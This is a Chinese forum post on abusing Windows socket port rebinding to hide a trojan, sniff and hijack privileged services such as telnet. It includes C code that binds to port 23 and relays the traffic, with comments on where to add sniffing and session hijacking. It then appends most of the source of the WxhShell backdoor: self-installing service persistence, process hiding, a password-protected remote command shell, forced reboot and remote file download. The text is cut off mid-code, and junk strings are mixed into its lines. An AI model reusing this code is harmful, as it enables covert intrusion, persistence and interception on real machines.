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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0{#8',*}m?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C -iK$/U  
yRo- EP  
  saddr.sin_family = AF_INET; :O(^w}sle  
^5=B`aich  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xhRngHU\z<  
To?W?s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bT&: fHc  
AE} )o)B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {'U Rz[g  
:>+s0~  
  这意味着什么?意味着可以进行如下的攻击: G#MdfKH  
gdkwWoN .  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Unsogd  
rL}YLR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 92^w8Z.  
n_'s=]~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _cu:aktf2  
ij?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "_`F\DGAZu  
$^@)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wQRZ"ri,  
^$ t7+g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6oBfB8]:d  
?:w1je7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r3>i+i42  
8jyG" %WO  
  #include .jj$Kh q]  
  #include QR>gt;  
  #include '3?\K3S4i  
  #include    6H'HxB4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   / z}~zO  
  int main() 6C-z=s)P&  
  { Ox@sI:CT  
  WORD wVersionRequested; *V+j%^91}  
  DWORD ret; !H ~<  
  WSADATA wsaData; U4cY_p?  
  BOOL val; Z ,EvQ8i  
  SOCKADDR_IN saddr; / 4lvP  
  SOCKADDR_IN scaddr; d'Zqaaf k%  
  int err; '7oA< R  
  SOCKET s; ,u/aT5\_  
  SOCKET sc; SCz(5[MZJ  
  int caddsize; 2Y7)WPn  
  HANDLE mt; 0X^Ke(/89  
  DWORD tid;   v{A KEX*  
  wVersionRequested = MAKEWORD( 2, 2 ); KG=h&  
  err = WSAStartup( wVersionRequested, &wsaData ); {6}eN|4~#  
  if ( err != 0 ) { Pcw6!xH  
  printf("error!WSAStartup failed!\n"); wR^R M(1  
  return -1; AGbhJ=tB  
  } /"B?1?qc,=  
  saddr.sin_family = AF_INET; 'z$Q rFW  
   &SrO)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u{*SX k  
*<J*S#]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t1%_DPD%W  
  saddr.sin_port = htons(23); yUp,NfS]o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f{FDuIl n  
  { ~}+Hgi  
  printf("error!socket failed!\n"); {\(L%\sV@  
  return -1; rp0ZvEX  
  } [3!~PR]  
  val = TRUE; ma((2My'H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 et }T %~T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *q1%IJ  
  { 1u6^z  
  printf("error!setsockopt failed!\n"); V,G|k!!  
  return -1; Q_Gi]M9  
  } VL*ovD%-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L\#<JxY$p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |0%+wB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $t6e2=7  
/<]{KI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J52 o g4l  
  { l'TWkQ-  
  ret=GetLastError(); g2T -TG'd  
  printf("error!bind failed!\n"); gwWN%Z"  
  return -1; A$a1(8H  
  } rhb@FE)Mc  
  listen(s,2); 7IjQi=#:  
  while(1) Gqy,u3lE  
  { f?'JAC*  
  caddsize = sizeof(scaddr); wV ^V]c?U  
  //接受连接请求 m2v'WY5u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :M6+p'`j  
  if(sc!=INVALID_SOCKET) uIDuGrt  
  { Xt'sQ}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~R@Nd~L  
  if(mt==NULL) )}_a 0bt  
  { XQ~Ke-QW)  
  printf("Thread Creat Failed!\n"); \} ^E`b  
  break; [mPjP%{=@  
  } T.qNCJmB  
  } d:i;z9b@to  
  CloseHandle(mt); Jyqc2IH  
  } #Z<a  
  closesocket(s); S!sqbLrBn  
  WSACleanup(); 6l4mS~/  
  return 0; FTeu~<KpM  
  }   $O*O/ iG  
  DWORD WINAPI ClientThread(LPVOID lpParam) P'O#I}Dmw<  
  { 8{Fsm;UsY  
  SOCKET ss = (SOCKET)lpParam; }ga@/>Sl&  
  SOCKET sc; S*,rGCt'T  
  unsigned char buf[4096]; w#g#8o>'  
  SOCKADDR_IN saddr; P';?YV0  
  long num; @, Wvvh  
  DWORD val; %3$*K\Ai  
  DWORD ret; Vb'7>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DHY@akhrK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !eUDi(   
  saddr.sin_family = AF_INET; K/}rP[H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bpxeznz  
  saddr.sin_port = htons(23); H Tz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Ps:d^8*P  
  { m,t|IgDh  
  printf("error!socket failed!\n"); gL3"Gg3  
  return -1; 5efpeu  
  } nM0[P6p  
  val = 100; ?K3(D;5 &i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rv/Bh< t  
  { kWrp1`  
  ret = GetLastError(); e~"fn*"  
  return -1; $]q8, N|1  
  } Bk+{RN(w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <$hu   
  { (k|_J42[  
  ret = GetLastError(); ? mhs$g>  
  return -1; M_%B|S {  
  } fks)+L'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bN3#{l-`  
  { vC5n[0  
  printf("error!socket connect failed!\n"); i}~SDY  
  closesocket(sc); nYJTKU  
  closesocket(ss); l#}.^71+  
  return -1; SC- $B  
  } UDL RCS8i  
  while(1) fhCc! \  
  { KW7UUXL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P06R JE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?]4>rl}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o,P.& m{?  
  num = recv(ss,buf,4096,0); qBT.x,$  
  if(num>0) %H+\>raLz  
  send(sc,buf,num,0); b%Eei2Gm%  
  else if(num==0) >B>CB3U  
  break; BY]i;GVq  
  num = recv(sc,buf,4096,0); p^pOuy8  
  if(num>0) OGY"<YH6  
  send(ss,buf,num,0); chEn|>~  
  else if(num==0) A=j0On  
  break; Wn>@9"  
  } MG?0>^F  
  closesocket(ss); }E7:ihy  
  closesocket(sc); Q 3y;$"  
  return 0 ;  3S&U!  
  } }>[G5[ \  
CV{r5Sye  
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========================================================== .%82P(  
Kn?lHH*w7  
下边附上一个代码,,WXhSHELL -!\fpl{  
)nd\7|5#  
========================================================== @l0|*lo%  
.T*GN|@$!  
#include "stdafx.h" 5IbJ  
UQ.7>Ug+8s  
#include <stdio.h> 8O"U 0  
#include <string.h> .E@|D6$D  
#include <windows.h> RO3oP1@B  
#include <winsock2.h> -!8(bjlJ&  
#include <winsvc.h> _A~4NW{U7  
#include <urlmon.h> :(_+7N[KA  
${8?N:>t  
#pragma comment (lib, "Ws2_32.lib") 4Ua> Yw0  
#pragma comment (lib, "urlmon.lib") 1lpwZ"  
w\19[U3  
#define MAX_USER   100 // 最大客户端连接数 u1c%T@w>Lz  
#define BUF_SOCK   200 // sock buffer 1HPx|nmE]  
#define KEY_BUFF   255 // 输入 buffer leCVK.  
ov\HsTeZ  
#define REBOOT     0   // 重启 o5n^!gi4  
#define SHUTDOWN   1   // 关机 GTJ{h  
{bPV)RL:  
#define DEF_PORT   5000 // 监听端口 -`Y :~q1  
Ou>vX[{  
#define REG_LEN     16   // 注册表键长度 )}L??|#  
#define SVC_LEN     80   // NT服务名长度 BJS-Jy$-  
~j'l.gQb  
// 从dll定义API "p3_y`h6+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8_!.!Kde |  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JO'>oFv_W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c )7j QA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :h1pBEiH  
zW8*EE+,  
// wxhshell配置信息 d` Sr4c  
struct WSCFG { +B|7p9qy  
  int ws_port;         // 监听端口 28OWNS M=  
  char ws_passstr[REG_LEN]; // 口令 :5yV.7  
  int ws_autoins;       // 安装标记, 1=yes 0=no %AW4.3()8  
  char ws_regname[REG_LEN]; // 注册表键名 O6].*25  
  char ws_svcname[REG_LEN]; // 服务名 %5*@l vy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >5 b/or  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5IKL#V `3a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5#E |R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wJlX4cT4YV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pN&c(=If  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m~'? /!!  
dC<LDxlv  
}; vEG'HOP  
iL7VFo:Q  
// default Wxhshell configuration bOI3^T  
struct WSCFG wscfg={DEF_PORT, J/A[45OD  
    "xuhuanlingzhe", syzdd an  
    1, 4"= Vq5  
    "Wxhshell", _3Cn{{ A0  
    "Wxhshell", :3$}^uzIq  
            "WxhShell Service", ]P[%Mhg^  
    "Wrsky Windows CmdShell Service", 0ji q-3V)  
    "Please Input Your Password: ", ?U7) XvQ  
  1, aTzDew  
  "http://www.wrsky.com/wxhshell.exe", -@&1`@):{  
  "Wxhshell.exe" 6/ `.(fL1  
    }; 4eH.9t  
ai*b:Q  
// 消息定义模块 Z"s|]K "  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _e!F~V.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i5F:r|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *xR 2)u  
char *msg_ws_ext="\n\rExit."; rNl.7O9b  
char *msg_ws_end="\n\rQuit."; A-ZmG7xk  
char *msg_ws_boot="\n\rReboot..."; ^ZTGJ(j7~  
char *msg_ws_poff="\n\rShutdown..."; ,1/}^f6  
char *msg_ws_down="\n\rSave to "; [4J6 iF  
De_C F8  
char *msg_ws_err="\n\rErr!"; EC6k{y}bA  
char *msg_ws_ok="\n\rOK!"; :"o o>  
8p1ziz`4>$  
char ExeFile[MAX_PATH]; k8]O65t|  
int nUser = 0; =i HiPvP0  
HANDLE handles[MAX_USER]; :!zC"d9@  
int OsIsNt; V,ZY*f0  
m?[5J)eR  
SERVICE_STATUS       serviceStatus; H0"=Vs,n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "gW7<ilw  
 8%RI7Mg  
// 函数声明 V^il$'  
int Install(void); b @;.F!x  
int Uninstall(void); H g5++.Bp  
int DownloadFile(char *sURL, SOCKET wsh); (ozb%a#B  
int Boot(int flag);  O3NWXe<  
void HideProc(void); [t0rfl{.  
int GetOsVer(void); /b,TpuM^  
int Wxhshell(SOCKET wsl); TQ9D68 ,  
void TalkWithClient(void *cs); eX l=i-'  
int CmdShell(SOCKET sock); La[K!u\B  
int StartFromService(void); N6Z{BLZ  
int StartWxhshell(LPSTR lpCmdLine); %G3sjnI;l  
xeTgV&$@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l|/:Ot  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z"I/ NGiU  
MQcr^Y_  
// 数据结构和表定义 |Wj;QO$C  
SERVICE_TABLE_ENTRY DispatchTable[] = \0FT!} L  
{ ~9$X3.+  
{wscfg.ws_svcname, NTServiceMain}, y:}sD_m0W  
{NULL, NULL} {fSf q&o  
}; 1q.(69M  
mE#nU(+Ta  
// 自我安装 s* j fMY  
int Install(void) ]qw0V   
{ bZipm(e  
  char svExeFile[MAX_PATH]; ,R wfp=*E  
  HKEY key; #-cTc&$O;  
  strcpy(svExeFile,ExeFile); *9gD*AnM,  
gY9\o#)<  
// 如果是win9x系统,修改注册表设为自启动 sY;lt.b  
if(!OsIsNt) { J7i+c];!<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g.Hio.fVd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :wgfW .w  
  RegCloseKey(key); -g`IH-B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J^3H7 ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '5H4z7)  
  RegCloseKey(key); 3 EYiQ`  
  return 0; +3^NaY`Y  
    } gX} g  
  } 5^)_B;.f  
} ^lO76Dz~a  
else { d$;/T('  
s\0Ko1  
// 如果是NT以上系统,安装为系统服务 @%W]".*'}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GHN3PEJ>  
if (schSCManager!=0) G{c#\?12C  
{ E,*&BDW  
  SC_HANDLE schService = CreateService aU<s<2 O)  
  ( &$ p[  
  schSCManager, =3ADT$YHd  
  wscfg.ws_svcname, AZZRa69=  
  wscfg.ws_svcdisp, MC=G"m:_  
  SERVICE_ALL_ACCESS, Rf[V)x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RazBc.o<  
  SERVICE_AUTO_START,  . gT4_  
  SERVICE_ERROR_NORMAL, YL^Z4: p  
  svExeFile, XizPMN5a  
  NULL, V,LVB_6  
  NULL, u3ds QU  
  NULL, .2X2b<%)  
  NULL, vD=%`G[m  
  NULL  H+cNX\,  
  ); ` Q9+k<  
  if (schService!=0) d bO#  
  { YBSl-G'  
  CloseServiceHandle(schService); d\Jji 6W  
  CloseServiceHandle(schSCManager); lfS;?~W0k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !dv-8C$U  
  strcat(svExeFile,wscfg.ws_svcname); +{rJ[J/g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { am:.NG+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5}a"?5J^  
  RegCloseKey(key); \f"?Tv-C'  
  return 0; N8+P  
    } ,k*F`.[  
  } &=-PRza%j  
  CloseServiceHandle(schSCManager); o'qm82* =  
} vR]mSX3)?  
} u@D .i4U  
k!E"wJkpz  
return 1; F";FG 0  
} 1VfSSO  
#pu}y,QN$  
// 自我卸载 o =9'  
int Uninstall(void) K}2Npo FS  
{ RG? MRxC  
  HKEY key; ,h!X k  
aJ2H.E  
if(!OsIsNt) { wD=am  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=35 7^[R  
  RegDeleteValue(key,wscfg.ws_regname); %N{sD[^  
  RegCloseKey(key); QGPR.<D)B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !0dX@V'r  
  RegDeleteValue(key,wscfg.ws_regname); @)z*BmP  
  RegCloseKey(key); ;E's4jWq  
  return 0; _0]QS4a][c  
  } uL>:tb  
} [.U^Wrd  
} 6_ ]8\n  
else { ^/{4'\p  
e\~l!f'z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {8ECNQ[]  
if (schSCManager!=0) cQ,9Rnfl,  
{ ;o >WXw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ej|A ; &E  
  if (schService!=0) m0Z7N5v)  
  { 1NGyaI  
  if(DeleteService(schService)!=0) { c * 1S}us  
  CloseServiceHandle(schService); R HXvee55  
  CloseServiceHandle(schSCManager); Dqr9Vv  
  return 0; 6UI>GQ  
  } B"[{]GP BY  
  CloseServiceHandle(schService); bm6hZA|  
  } <_f`$z  
  CloseServiceHandle(schSCManager); > Z++^YVE  
} `5<1EGJsD  
} "7?t)FOo  
!VNbj\Bp  
return 1; O*4gV}:G  
} ?'f^X$aS  
1 mHk =J~  
// 从指定url下载文件 U6a z hi&,  
int DownloadFile(char *sURL, SOCKET wsh) !5E9sk{)  
{ .~22^k  
  HRESULT hr; 6puVw-X  
char seps[]= "/"; z'e1"Y.  
char *token; i;avwP<0  
char *file; S[.5n]  
char myURL[MAX_PATH]; TnxU/)  
char myFILE[MAX_PATH]; 9C>ynH  
qSR? ,G  
strcpy(myURL,sURL); V7n >,k5  
  token=strtok(myURL,seps); ^#7viZ*  
  while(token!=NULL) fOJj(0=y  
  { x cnt?%%M  
    file=token; [>wzl"cHW  
  token=strtok(NULL,seps); 4[xA- \  
  } EaCZx  
cb4b, Ri  
GetCurrentDirectory(MAX_PATH,myFILE); 1{7_ `[  
strcat(myFILE, "\\"); =<>pKQ)[  
strcat(myFILE, file); j aD!  
  send(wsh,myFILE,strlen(myFILE),0); -Y2&A$cM  
send(wsh,"...",3,0); v0u\xX[H;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VlV)$z_  
  if(hr==S_OK) 4UazD_`'  
return 0; :SQ LfOQ  
else L-MiaKcL  
return 1; pr)K{~m]{<  
#a.\P.{L  
} Kf&r21h  
S8vx[<  
// 系统电源模块 F[(6*/46x  
int Boot(int flag) BM.-X7)  
{ :;<\5Oy ^  
  HANDLE hToken; 1=ip ,D  
  TOKEN_PRIVILEGES tkp; sD.6"w7}  
?{n>EvLY  
  if(OsIsNt) { wYa0hNd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QWKs[yfdo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )I?RMR  
    tkp.PrivilegeCount = 1; y 'mlee  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #,)P N @P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3^'#ny?l  
if(flag==REBOOT) { GU5W|bS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >|5XaaDa  
  return 0; B6(h7~0(<  
} v<%]XHN  
else { XEa~)i{O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X+d&OcO=q  
  return 0; `|uoqKv  
} ~DK F%}E  
  } }]tFz}E\  
  else { I>d I[U  
if(flag==REBOOT) { Wf_CR(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4@= aa  
  return 0; 4VC/-.At  
} 9armirfV'P  
else { "h QV9 [2\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S]vW&r3`  
  return 0; 6xyY+  
} FBYll[8  
} )K8P+zn~  
]DGGcUk7  
return 1; EqVsxwa  
} C+T&O  
qjJ{+Rz2  
// win9x进程隐藏模块 'n>EEQyp'  
void HideProc(void) `D4oAx d9  
{ `!]R!T@C  
4n#YDZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >7"$}5d  
  if ( hKernel != NULL ) _r~!O$2  
  { G OH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,0BR-#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  4c  
    FreeLibrary(hKernel); #_on{I  
  } |X,$?ZDap  
4t,zHR6W  
return; P= &'wblm?  
} Ng?apaIi@~  
u,:CJ[3  
// 获取操作系统版本 ~6\& y  
int GetOsVer(void) nMTLD  
{ \FIa,5k8  
  OSVERSIONINFO winfo; Gv!BB=ir(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #4Dn@Gqh.Y  
  GetVersionEx(&winfo); |if~i;VKL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >6*(}L9  
  return 1;  Y>xi|TWN  
  else nXv 7OEpTx  
  return 0; w/?nUp  
} lv=yz\  
e 4 p*51ra  
// 客户端句柄模块 q-A`/9  
int Wxhshell(SOCKET wsl) fEx+gQW_  
{ <jpeu^7  
  SOCKET wsh; Rrh<mo(yj#  
  struct sockaddr_in client; m(8jSGV  
  DWORD myID; cBg,k[,  
JZW gr&O<  
  while(nUser<MAX_USER) dDsjPM;2  
{ mrK,Ql  
  int nSize=sizeof(client); i_[^s:*T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?SB[lbU  
  if(wsh==INVALID_SOCKET) return 1;  $&ex\_W  
sI^@A=.@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $,8CH)w  
if(handles[nUser]==0) Y1#-^,qg  
  closesocket(wsh); c1pq]mz|z  
else 4 *Bp  
  nUser++; P%.`c?olbs  
  } L 2[Ei|9_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6U;Jg_zS  
N$N;Sw  
  return 0; l*F!~J3  
} |WD,\=J2  
pe\Txg6  
// 关闭 socket IyrZez  
void CloseIt(SOCKET wsh) +io;K]C  
{ YRg=yVo 2  
closesocket(wsh); V}vl2o  
nUser--; k7:GS,7  
ExitThread(0); ipx@pNW;"  
} } l:mN  
}2-[Ki yv  
// 客户端请求句柄 z*Myokhf  
void TalkWithClient(void *cs) 9\AEyaJFZ  
{  1m&!l6Jk  
fo/ D3  
  SOCKET wsh=(SOCKET)cs; yq/[/*7^  
  char pwd[SVC_LEN]; Nm H}"ndv+  
  char cmd[KEY_BUFF]; 2E@C0HaL  
char chr[1]; a) I=U [  
int i,j; `ENlV9  
7V9%)%=h|  
  while (nUser < MAX_USER) { nu\  
w JapGc!   
if(wscfg.ws_passstr) { GVjv** U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D=i0e8D!+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e8~62O^  
  //ZeroMemory(pwd,KEY_BUFF); 9f@#SB_H  
      i=0; 5QqJ I#4~  
  while(i<SVC_LEN) { kGB#2J  
()+jrrK  
  // 设置超时 W /~||s  
  fd_set FdRead; w,M1`RsK  
  struct timeval TimeOut; JxX jDYrU  
  FD_ZERO(&FdRead); 0C7thl{Dms  
  FD_SET(wsh,&FdRead); ;']vY  
  TimeOut.tv_sec=8; LV}UBao5n  
  TimeOut.tv_usec=0; OhSt6&+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M3ecIVm8(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k7z(Gbzu   
lU&`r:1>_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "@c';".|  
  pwd=chr[0]; gt2>nTJz.Z  
  if(chr[0]==0xd || chr[0]==0xa) { 'DL;c@}37  
  pwd=0; zPX=MfF  
  break; afxj[;p!  
  } zxk??0] /  
  i++; %4|n-`:  
    } _'?8s6 H  
RT.wTJS;  
  // 如果是非法用户,关闭 socket WU+Jo@]y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `@u+u0  
} vSyi}5D  
NPB,q& Th  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;55tf l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?L<UOv7;t  
b6LC$"t0  
while(1) { E]HND.`*>  
D+*uKldS;  
  ZeroMemory(cmd,KEY_BUFF); gTmUK{y'  
c~^]jqid]  
      // 自动支持客户端 telnet标准   aIzp\$NWVK  
  j=0; [#STR=_f  
  while(j<KEY_BUFF) { zVc7q7E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \,@Yl.,+  
  cmd[j]=chr[0]; V'HlAQr  
  if(chr[0]==0xa || chr[0]==0xd) { `&|l;zsS  
  cmd[j]=0; (/9.+V_  
  break; aIn)']  
  } 4y]:Gq z~  
  j++; 'b=eC  
    } < tu[cA>  
'?vgp  
  // 下载文件 T>%uRK$  
  if(strstr(cmd,"http://")) { 0%A(dJA6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qq;m"M/  
  if(DownloadFile(cmd,wsh)) :oon}_MdRd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M0;t%*1  
  else q/rHHuY}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-G~/n-x  
  } ])$. "g  
  else { S,wj[;cv4  
bG?WB,1  
    switch(cmd[0]) { }<}`Q^Mlk  
  3IJI5K_  
  // 帮助 T;4gcJPn"M  
  case '?': { Sob $j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); = h<? /Krs  
    break; Zgy2Pot  
  } 5KC\1pe i  
  // 安装 $8X tI  
  case 'i': { Dvq*XI5  
    if(Install()) gT5Ji~xI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQ5MKqR$  
    else RB% fA%d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s5zGg]0  
    break; RIVL 0Ig  
    } DiYJlD&  
  // 卸载 @T,H.#bL  
  case 'r': { 7fN&Q~.  
    if(Uninstall()) #g-*n@ 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?D~~Jb  
    else iZkW+5(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;)= zvr17  
    break; |4p<T! T  
    } )/+eL RN5G  
  // 显示 wxhshell 所在路径 @KXz4PU  
  case 'p': { &, Zz  
    char svExeFile[MAX_PATH]; -u3SsU)_%N  
    strcpy(svExeFile,"\n\r"); cDQw`ORP*g  
      strcat(svExeFile,ExeFile); G0 nH Z6  
        send(wsh,svExeFile,strlen(svExeFile),0); LDi ez i  
    break; o+X'(!Trw  
    } >QZt)<[  
  // 重启 OB*Xb*HN  
  case 'b': { iRj x];:Vu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :)J~FVLy  
    if(Boot(REBOOT)) KWigMh\r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $5Y^fwIK  
    else { f_5R!;  
    closesocket(wsh); \HP,LH[P:  
    ExitThread(0); xXY)KI N[  
    } 4|@FO}rK[l  
    break; 0LHiOav  
    } RESGI}u  
  // 关机 "13 :VTs[5  
  case 'd': { s:jL/%+COZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;FgEE%  
    if(Boot(SHUTDOWN)) [Tb3z:UUvf  
